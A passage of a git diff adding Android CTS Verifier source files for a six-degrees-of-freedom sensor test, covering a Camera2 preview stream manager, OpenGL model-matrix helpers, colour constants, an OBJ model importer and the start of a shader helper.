+    private Size mPreviewSize;
+
+    /**
+     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
+     */
+    private final CameraDevice.StateCallback mStateCallback = new CameraDevice.StateCallback() {
+
+        @Override
+        public void onOpened(CameraDevice cameraDevice) {
+            // This method is called when the camera is opened.  We start camera preview here.
+            mCameraOpenCloseLock.release();
+            mCameraDevice = cameraDevice;
+            createCameraPreviewSession();
+        }
+
+        @Override
+        public void onDisconnected(CameraDevice cameraDevice) {
+            mCameraOpenCloseLock.release();
+            cameraDevice.close();
+            mCameraDevice = null;
+        }
+
+        @Override
+        public void onError(CameraDevice cameraDevice, int error) {
+            mCameraOpenCloseLock.release();
+            cameraDevice.close();
+            mCameraDevice = null;
+            Log.e(TAG, "onError " + error);
+        }
+
+    };
+
+    /**
+     * An additional thread for running tasks that shouldn't block the UI.
+     */
+    private HandlerThread mBackgroundThread;
+
+    /**
+     * A {@link Handler} for running tasks in the background.
+     */
+    private Handler mBackgroundHandler;
+
+    /**
+     * {@link CaptureRequest.Builder} for the camera preview
+     */
+    private CaptureRequest.Builder mPreviewRequestBuilder;
+
+    /**
+     * {@link CaptureRequest} generated by {@link #mPreviewRequestBuilder}
+     */
+    private CaptureRequest mPreviewRequest;
+
+    /**
+     * A {@link Semaphore} to prevent the app from exiting before closing the camera.
+     */
+    private Semaphore mCameraOpenCloseLock = new Semaphore(1);
+
+    /**
+     * A {@link CameraCaptureSession.CaptureCallback} that handles events related to JPEG capture.
+     */
+    /**
+     * A {@link CameraCaptureSession.CaptureCallback} that handles events related to JPEG capture.
+     */
+    private CameraCaptureSession.CaptureCallback mCaptureCallback
+            = new CameraCaptureSession.CaptureCallback() {
+
+        @Override
+        public void onCaptureProgressed(CameraCaptureSession session,
+                                        CaptureRequest request,
+                                        CaptureResult partialResult) {
+            // Don't need to do anything here.
+        }
+
+        @Override
+        public void onCaptureCompleted(CameraCaptureSession session,
+                                       CaptureRequest request,
+                                       TotalCaptureResult result) {
+            // Don't need to do anything here.
+        }
+
+    };
+
+    public CameraStreamManager(Context context, SurfaceTexture textureToStreamTo,
+                               int width, int height) {
+        mContext = context;
+        mSurfaceTextureToStreamTo = textureToStreamTo;
+        mWidth = width;
+        mHeight = height;
+    }
+
+    public void onStartCameraStream() {
+        startBackgroundThread();
+        openCamera(mWidth, mHeight);
+    }
+
+    public void onStopCameraStream() {
+        closeCamera();
+        stopBackgroundThread();
+    }
+
+    /**
+     * Sets up member variables related to camera.
+     *
+     * @param width  The width of available size for camera preview
+     * @param height The height of available size for camera preview
+     */
+    private void setUpCameraOutputs(int width, int height) {
+        // Danger, W.R.! Attempting to use too large a preview size could  exceed the camera
+        // bus' bandwidth limitation, resulting in gorgeous previews but the storage of
+        // garbage capture data.
+        mPreviewSize = new Size(width, height);
+    }
+
+    /**
+     * Opens the camera specified by {@link CameraStreamManager#CAMERA_ID}.
+     */
+    private void openCamera(int width, int height) {
+        setUpCameraOutputs(width, height);
+        CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
+        try {
+            if (!mCameraOpenCloseLock.tryAcquire(2500, TimeUnit.MILLISECONDS)) {
+                throw new RuntimeException("Time out waiting to lock camera opening.");
+            }
+            manager.openCamera(CAMERA_ID, mStateCallback, mBackgroundHandler);
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while trying to lock camera opening.", e);
+        }
+    }
+
+    /**
+     * Closes the current {@link CameraDevice}.
+     */
+    private void closeCamera() {
+        try {
+            mCameraOpenCloseLock.acquire();
+            if (null != mCaptureSession) {
+                mCaptureSession.close();
+                mCaptureSession = null;
+            }
+            if (null != mCameraDevice) {
+                mCameraDevice.close();
+                mCameraDevice = null;
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while trying to lock camera closing.", e);
+        } finally {
+            mCameraOpenCloseLock.release();
+        }
+    }
+
+    /**
+     * Starts a background thread and its {@link Handler}.
+     */
+    private void startBackgroundThread() {
+        mBackgroundThread = new HandlerThread("CameraBackground");
+        mBackgroundThread.start();
+        mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
+    }
+
+    /**
+     * Stops the background thread and its {@link Handler}.
+     */
+    private void stopBackgroundThread() {
+        if (mBackgroundThread != null) {
+            mBackgroundThread.quitSafely();
+            try {
+                mBackgroundThread.join();
+                mBackgroundThread = null;
+                mBackgroundHandler = null;
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    /**
+     * Creates a new {@link CameraCaptureSession} for camera preview.
+     */
+    private void createCameraPreviewSession() {
+        try {
+            assert mSurfaceTextureToStreamTo != null;
+
+            // We configure the size of default buffer to be the size of camera preview we want.
+            mSurfaceTextureToStreamTo.setDefaultBufferSize(mPreviewSize.getWidth(),
+                    mPreviewSize.getHeight());
+
+            // This is the output Surface we need to start preview.
+            Surface surface = new Surface(mSurfaceTextureToStreamTo);
+
+            // We set up a CaptureRequest.Builder with the output Surface.
+            mPreviewRequestBuilder
+                    = mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+            mPreviewRequestBuilder.addTarget(surface);
+
+            // Here, we create a CameraCaptureSession for camera preview.
+            mCameraDevice.createCaptureSession(Arrays.asList(surface),
+                    new CameraCaptureSession.StateCallback() {
+
+                        @Override
+                        public void onConfigured(CameraCaptureSession cameraCaptureSession) {
+                            // The camera is already closed.
+                            if (null == mCameraDevice) {
+                                return;
+                            }
+
+                            // When the session is ready, we start displaying the preview.
+                            mCaptureSession = cameraCaptureSession;
+                            try {
+                                // Auto focus should be continuous for camera preview.
+                                mPreviewRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE,
+                                        CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE);
+
+                                // Finally, we start displaying the camera preview.
+                                mPreviewRequest = mPreviewRequestBuilder.build();
+                                mCaptureSession.setRepeatingRequest(mPreviewRequest,
+                                        mCaptureCallback, mBackgroundHandler);
+                            } catch (CameraAccessException e) {
+                                e.printStackTrace();
+                            }
+                        }
+
+                        @Override
+                        public void onConfigureFailed(
+                                CameraCaptureSession cameraCaptureSession) {
+                            Log.e(TAG, "Camera configuration failed.");
+                        }
+                    }, null
+            );
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static int getRotation(Context context, int deviceRotation) {
+        // Get offset from the RGB camera.
+        CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+        CameraCharacteristics characteristics = null;
+        try {
+            characteristics = manager.getCameraCharacteristics(CAMERA_ID + "");
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        }
+        int toOrientate = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
+
+        // Add RGB offset to current device rotation.
+        return toOrientate + deviceRotation;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/Colour.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/Colour.java
new file mode 100644
index 0000000..201d697
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/Colour.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+/**
+ * Contains static float arrays of colours. RGBA.
+ */
+public class Colour {
+    public static final float[] GREEN = new float[]{
+            0.0f, 1.0f, 0.0f, 0.0f
+    };
+
+    public static final float[] RED = new float[]{
+            1.0f, 0.0f, 0.0f, 0.0f
+    };
+
+    public static final float[] YELLOW = new float[]{
+            1.0f, 1.0f, 0.0f, 0.0f
+    };
+
+    public static final float[] WHITE = new float[]{
+            1.0f, 1.0f, 1.0f, 0.0f
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ConeModelMatrixCalculator.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ConeModelMatrixCalculator.java
new file mode 100644
index 0000000..578dc9c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ConeModelMatrixCalculator.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.ConeRenderable;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.Matrix;
+
+/**
+ * Manages the model matrix of the direction cone.
+ */
+public class ConeModelMatrixCalculator extends ModelMatrixCalculator {
+    float[] mUpVector;
+
+    public ConeModelMatrixCalculator(int toRotate, float[] upVector) {
+        super(toRotate);
+        mUpVector = upVector;
+    }
+
+    public void updateModelMatrix(float[] translation, float[] quaternion, float[] lookAtPosition) {
+        float[] convertedTranslation = MathsUtils.convertToOpenGlCoordinates(translation, mToRotate);
+        // Calculate the extrinsics based model matrix with current pose data.
+        float[] newModelMatrix = calculateModelMatrix(convertedTranslation, quaternion);
+
+        // Extract the information we need from calculated model matrix. (Just the translation).
+        float[] translationMatrix = new float[MathsUtils.MATRIX_4X4];
+        Matrix.setIdentityM(translationMatrix, 0);
+        Matrix.translateM(translationMatrix, 0, newModelMatrix[MATRIX_4X4_TRANSLATION_X],
+                newModelMatrix[MATRIX_4X4_TRANSLATION_Y], newModelMatrix[MATRIX_4X4_TRANSLATION_Z]);
+
+        float[] openGlRingPosition = MathsUtils.convertToOpenGlCoordinates(lookAtPosition, mToRotate);
+        float[] rotationTransformation = new float[MathsUtils.MATRIX_4X4];
+        // Calculate direction vector.
+        float[] relativeVector = new float[MathsUtils.VECTOR_3D];
+        for (int i = 0; i < relativeVector.length; i++) {
+            relativeVector[i] = openGlRingPosition[i] - convertedTranslation[i];
+        }
+        Matrix.setIdentityM(rotationTransformation, 0);
+        // Calculate look at rotation transformation.
+        // Has to be relative to the origin otherwise we get some warping of the cone.
+        MathsUtils.setLookAtM(rotationTransformation,
+                // Where we are.
+                0.0f, 0.0f, 0.0f,
+                // What we want to look at.
+                relativeVector[X], relativeVector[Y], relativeVector[Z],
+                // Up direction.
+                mUpVector[X], mUpVector[Y], mUpVector[Z]);
+
+        // Apply translation to the look at matrix.
+        Matrix.multiplyMM(mModelMatrix, 0, translationMatrix, 0, rotationTransformation, 0);
+    }
+
+    /**
+     * Rotations that need to be done before rotating. Used for calculating the CONE_OFFSET.
+     *
+     * @return The offset that the cone needs to be at.
+     */
+    @Override
+    protected float[] getRequiredTranslations() {
+        return ConeRenderable.CONE_OFFSET;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/DrawParameters.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/DrawParameters.java
new file mode 100644
index 0000000..8664c72
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/DrawParameters.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.Light;
+
+/**
+ * Parameters to be passed on a draw call
+ */
+public class DrawParameters {
+    private float[] mViewMatrix;
+    private float[] mProjectionMatrix;
+    private Light mLight;
+
+    public void update(float[] viewMatrix, float[] projectionMatrix) {
+        mViewMatrix = viewMatrix;
+        mProjectionMatrix = projectionMatrix;
+    }
+
+    public void update(float[] viewMatrix, float[] projectionMatrix, Light light) {
+        update(viewMatrix, projectionMatrix);
+        mLight = light;
+    }
+
+    public float[] getViewMatrix() {
+        return mViewMatrix;
+    }
+
+    public float[] getProjectionMatrix() {
+        return mProjectionMatrix;
+    }
+
+    public Light getLight() {
+        return mLight;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ModelMatrixCalculator.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ModelMatrixCalculator.java
new file mode 100644
index 0000000..3713305
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ModelMatrixCalculator.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.MATRIX_4X4;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.Matrix;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+
+
+/**
+ * Utility class to manage the calculation of a Model Matrix from the translation and quaternion
+ * arrays obtained from an PoseData object.
+ */
+public class ModelMatrixCalculator {
+
+    protected static final int MATRIX_4X4_TRANSLATION_X = 12;
+    protected static final int MATRIX_4X4_TRANSLATION_Y = 13;
+    protected static final int MATRIX_4X4_TRANSLATION_Z = 14;
+
+    public static final float[] TANGO_TO_OPENGL = new float[]{1.0f, 0.0f, 0.0f, 0.0f,
+            0.0f, 0.0f, -1.0f, 0.0f,
+            0.0f, 1.0f, 0.0f, 0.0f,
+            0.0f, 0.0f, 0.0f, 1.0f};
+
+    protected float[] mModelMatrix = new float[MATRIX_4X4];
+
+    // Set these to identity matrix.
+    protected float[] mDevice2IMUMatrix = new float[]{1.0f, 0.0f, 0.0f, 0.0f,
+            0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f,
+            1.0f};
+    protected float[] mColorCamera2IMUMatrix = new float[]{1.0f, 0.0f, 0.0f,
+            0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f,
+            0.0f, 1.0f};
+    protected float[] mOpengl2ColorCameraMatrix = new float[]{1.0f, 0.0f, 0.0f,
+            0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f,
+            0.0f, 1.0f};
+
+    protected int mToRotate = 0;
+
+    public ModelMatrixCalculator(int toRotate) {
+        Matrix.setIdentityM(mModelMatrix, 0);
+        mToRotate = toRotate;
+    }
+
+    /**
+     * Calculates a new model matrix, taking into account extrinsics and the latest pose
+     * data.
+     *
+     * @param translationInOpenGlCoordinates latest translation from pose data in OpenGl coordinate
+     *                                       system.
+     * @param quaternion                     latest rotation from pose data.
+     * @return the new model matrix.
+     */
+    protected float[] calculateModelMatrix(float[] translationInOpenGlCoordinates,
+                                           float[] quaternion) {
+        float[] newModelMatrix = new float[MATRIX_4X4];
+
+        // Calculate an initial matrix with extrinsics taken into account.
+        float[] imu2OpenGlMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(imu2OpenGlMatrix, 0);
+        Matrix.multiplyMM(imu2OpenGlMatrix, 0, mColorCamera2IMUMatrix, 0,
+                mOpengl2ColorCameraMatrix, 0);
+        float[] invertedDevice2ImuMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(invertedDevice2ImuMatrix, 0);
+        Matrix.invertM(invertedDevice2ImuMatrix, 0, mDevice2IMUMatrix, 0);
+        float[] extrinsicsBasedMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(extrinsicsBasedMatrix, 0);
+        Matrix.multiplyMM(extrinsicsBasedMatrix, 0, invertedDevice2ImuMatrix, 0,
+                imu2OpenGlMatrix, 0);
+
+        // Do any translations that need to be done before rotating. Only used for the Cone offset.
+        float[] requiredTranslations = getRequiredTranslations();
+        Matrix.translateM(extrinsicsBasedMatrix, 0, requiredTranslations[X], requiredTranslations[Y],
+                requiredTranslations[Z]);
+
+        // Rotate based on rotation pose data.
+        float[] quaternionMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(quaternionMatrix, 0);
+        quaternionMatrix = MathsUtils.quaternionMatrixOpenGL(quaternion);
+        float[] rotatedMatrix = new float[MATRIX_4X4];
+        float[] deviceOrientationMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(rotatedMatrix, 0);
+        Matrix.setIdentityM(newModelMatrix, 0);
+        Matrix.setIdentityM(deviceOrientationMatrix, 0);
+        Matrix.multiplyMM(rotatedMatrix, 0, quaternionMatrix, 0,
+                extrinsicsBasedMatrix, 0);
+        Matrix.multiplyMM(deviceOrientationMatrix, 0, TANGO_TO_OPENGL, 0,
+                rotatedMatrix, 0);
+
+        Matrix.multiplyMM(newModelMatrix, 0, deviceOrientationMatrix, 0,
+                MathsUtils.getDeviceOrientationMatrix(mToRotate), 0);
+
+        // Finally, add the translations from the pose data.
+        newModelMatrix[MATRIX_4X4_TRANSLATION_X] += translationInOpenGlCoordinates[X];
+        newModelMatrix[MATRIX_4X4_TRANSLATION_Y] += translationInOpenGlCoordinates[Y];
+        newModelMatrix[MATRIX_4X4_TRANSLATION_Z] += translationInOpenGlCoordinates[Z];
+
+        return newModelMatrix;
+    }
+
+    /**
+     * Updates the model matrix (rotation and translation).
+     *
+     * @param translation a three-element array of translation data.
+     * @param quaternion  a four-element array of rotation data.
+     */
+    public void updateModelMatrix(float[] translation, float[] quaternion) {
+        float[] convertedTranslation = MathsUtils.convertToOpenGlCoordinates(translation, mToRotate);
+        mModelMatrix = calculateModelMatrix(convertedTranslation, quaternion);
+    }
+
+    public void setDevice2IMUMatrix(float[] translation, float[] quaternion) {
+        mDevice2IMUMatrix = MathsUtils.quaternionMatrixOpenGL(quaternion);
+        mDevice2IMUMatrix[MATRIX_4X4_TRANSLATION_X] = translation[X];
+        mDevice2IMUMatrix[MATRIX_4X4_TRANSLATION_Y] = translation[Y];
+        mDevice2IMUMatrix[MATRIX_4X4_TRANSLATION_Z] = translation[Z];
+    }
+
+    public void setColorCamera2IMUMatrix(float[] translation, float[] quaternion) {
+        mOpengl2ColorCameraMatrix = new float[]{1.0f, 0.0f, 0.0f, 0.0f, 0.0f,
+                -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f,
+                1.0f};
+        mColorCamera2IMUMatrix = MathsUtils.quaternionMatrixOpenGL(quaternion);
+        mColorCamera2IMUMatrix[MATRIX_4X4_TRANSLATION_X] = translation[X];
+        mColorCamera2IMUMatrix[MATRIX_4X4_TRANSLATION_Y] = translation[Y];
+        mColorCamera2IMUMatrix[MATRIX_4X4_TRANSLATION_Z] = translation[Z];
+    }
+
+    public float[] getModelMatrix() {
+        return mModelMatrix;
+    }
+
+    /**
+     * Translations that need to be done before rotating. Used for calculating the CONE_OFFSET.
+     *
+     * @return no translation.
+     */
+    protected float[] getRequiredTranslations() {
+        return new float[]{0.0f, 0.0f, 0.0f};
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ObjImporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ObjImporter.java
new file mode 100644
index 0000000..e6f01be
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ObjImporter.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import android.content.res.Resources;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.StringTokenizer;
+
+/**
+ * Imports an .obj file into an ObjectData class so that it can be rendered by OpenGl. Based on the
+ * .obj importer from Rajawali.
+ */
+public class ObjImporter {
+    protected static final String TAG = "ObjImporter";
+    protected static final String VERTEX = "v";
+    protected static final String FACE = "f";
+    protected static final String NORMAL = "vn";
+
+    protected static class ObjIndexData {
+
+        public ArrayList<Integer> vertexIndices;
+        public ArrayList<Integer> texCoordIndices;
+        public ArrayList<Integer> colorIndices;
+        public ArrayList<Integer> normalIndices;
+
+        public ObjIndexData() {
+            vertexIndices = new ArrayList<Integer>();
+            texCoordIndices = new ArrayList<Integer>();
+            colorIndices = new ArrayList<Integer>();
+            normalIndices = new ArrayList<Integer>();
+        }
+    }
+
+    public static class ObjectData {
+        float[] mVertexData;
+        float[] mNormalsData;
+        int[] mIndicesData;
+
+        protected ObjectData(float[] vertexData, float[] normalsData, int[] indicesData) {
+            mVertexData = vertexData;
+            mNormalsData = normalsData;
+            mIndicesData = indicesData;
+        }
+
+        public float[] getVertexData() {
+            return mVertexData;
+        }
+
+        public float[] getNormalsData() {
+            return mNormalsData;
+        }
+
+        public int[] getIndicesData() {
+            return mIndicesData;
+        }
+    }
+
+    public static ObjectData parse(Resources mResources, int mResourceId) {
+        BufferedReader buffer = null;
+        InputStream fileIn = mResources.openRawResource(mResourceId);
+        buffer = new BufferedReader(new InputStreamReader(fileIn));
+        String line;
+        ObjIndexData currObjIndexData = new ObjIndexData();
+
+        ArrayList<Float> vertices = new ArrayList<Float>();
+        ArrayList<Float> texCoords = new ArrayList<Float>();
+        ArrayList<Float> normals = new ArrayList<Float>();
+
+        try {
+            while ((line = buffer.readLine()) != null) {
+                // Skip comments and empty lines.
+                if (line.length() == 0 || line.charAt(0) == '#')
+                    continue;
+                StringTokenizer parts = new StringTokenizer(line, " ");
+                int numTokens = parts.countTokens();
+
+                if (numTokens == 0)
+                    continue;
+                String type = parts.nextToken();
+
+                if (type.equals(VERTEX)) {
+                    vertices.add(Float.parseFloat(parts.nextToken()));
+                    vertices.add(Float.parseFloat(parts.nextToken()));
+                    vertices.add(Float.parseFloat(parts.nextToken()));
+                } else if (type.equals(FACE)) {
+                    boolean isQuad = numTokens == 5;
+                    int[] quadvids = new int[4];
+                    int[] quadtids = new int[4];
+                    int[] quadnids = new int[4];
+
+                    boolean emptyVt = line.indexOf("//") > -1;
+                    if (emptyVt) line = line.replace("//", "/");
+
+                    parts = new StringTokenizer(line);
+
+                    parts.nextToken();
+                    StringTokenizer subParts = new StringTokenizer(parts.nextToken(), "/");
+                    int partLength = subParts.countTokens();
+
+                    boolean hasuv = partLength >= 2 && !emptyVt;
+                    boolean hasn = partLength == 3 || (partLength == 2 && emptyVt);
+                    int idx;
+
+                    for (int i = 1; i < numTokens; i++) {
+                        if (i > 1)
+                            subParts = new StringTokenizer(parts.nextToken(), "/");
+                        idx = Integer.parseInt(subParts.nextToken());
+
+                        if (idx < 0) idx = (vertices.size() / 3) + idx;
+                        else idx -= 1;
+                        if (!isQuad)
+                            currObjIndexData.vertexIndices.add(idx);
+                        else
+                            quadvids[i - 1] = idx;
+                        if (hasuv) {
+                            idx = Integer.parseInt(subParts.nextToken());
+                            if (idx < 0) idx = (texCoords.size() / 2) + idx;
+                            else idx -= 1;
+                            if (!isQuad)
+                                currObjIndexData.texCoordIndices.add(idx);
+                            else
+                                quadtids[i - 1] = idx;
+                        }
+                        if (hasn) {
+                            idx = Integer.parseInt(subParts.nextToken());
+                            if (idx < 0) idx = (normals.size() / 3) + idx;
+                            else idx -= 1;
+                            if (!isQuad)
+                                currObjIndexData.normalIndices.add(idx);
+                            else
+                                quadnids[i - 1] = idx;
+                        }
+                    }
+
+                    if (isQuad) {
+                        int[] indices = new int[]{0, 1, 2, 0, 2, 3};
+
+                        for (int i = 0; i < 6; ++i) {
+                            int index = indices[i];
+                            currObjIndexData.vertexIndices.add(quadvids[index]);
+                            currObjIndexData.texCoordIndices.add(quadtids[index]);
+                            currObjIndexData.normalIndices.add(quadnids[index]);
+                        }
+                    }
+                } else if (type.equals(NORMAL)) {
+                    normals.add(Float.parseFloat(parts.nextToken()));
+                    normals.add(Float.parseFloat(parts.nextToken()));
+                    normals.add(Float.parseFloat(parts.nextToken()));
+                }
+            }
+
+            buffer.close();
+        } catch (IOException e) {
+            Log.e(TAG, "failed to parse", e);
+        }
+
+        int i;
+        float[] aVertices = new float[currObjIndexData.vertexIndices.size() * 3];
+        float[] aNormals = new float[currObjIndexData.normalIndices.size() * 3];
+        int[] aIndices = new int[currObjIndexData.vertexIndices.size()];
+
+        for (i = 0; i < currObjIndexData.vertexIndices.size(); ++i) {
+            int faceIndex = currObjIndexData.vertexIndices.get(i) * 3;
+            int vertexIndex = i * 3;
+            try {
+                aVertices[vertexIndex] = vertices.get(faceIndex);
+                aVertices[vertexIndex + 1] = vertices.get(faceIndex + 1);
+                aVertices[vertexIndex + 2] = vertices.get(faceIndex + 2);
+                aIndices[i] = i;
+            } catch (ArrayIndexOutOfBoundsException e) {
+                Log.d(TAG, "Obj array index out of bounds: " + vertexIndex + ", " + faceIndex);
+            }
+        }
+        for (i = 0; i < currObjIndexData.normalIndices.size(); ++i) {
+            int normalIndex = currObjIndexData.normalIndices.get(i) * 3;
+            int ni = i * 3;
+            if (normals.size() == 0) {
+                Log.e(TAG, "There are no normals specified for this model. " +
+                        "Please re-export with normals.");
+                throw new RuntimeException("[" + TAG + "] There are no normals specified " +
+                        "for this model. Please re-export with normals.");
+            }
+            aNormals[ni] = normals.get(normalIndex);
+            aNormals[ni + 1] = normals.get(normalIndex + 1);
+            aNormals[ni + 2] = normals.get(normalIndex + 2);
+        }
+
+        return new ObjectData(aVertices, aNormals, aIndices);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ShaderHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ShaderHelper.java
new file mode 100644
index 0000000..1188989
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/ShaderHelper.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import android.opengl.GLES20;
+import android.util.Log;
+
+/**
+ * Contains shader code and helper functions for compiling them.
+ */
+public class ShaderHelper {
+    private static final String TAG = "ShaderHelper";
+
+    public static String getCameraPreviewFragmentShader() {
+        return "#extension GL_OES_EGL_image_external : require\n" +
+                "precision mediump float;\n" +
+                "uniform samplerExternalOES u_Texture;\n" +
+                "\n" +
+                "varying vec3 v_Position;\n" +
+                "varying vec2 v_TexCoordinate;\n" +
+                "\n" +
+                "void main()\n" +
+                "{\n" +
+                "    gl_FragColor = texture2D(u_Texture, v_TexCoordinate);\n" +
+                "}";
+    }
+
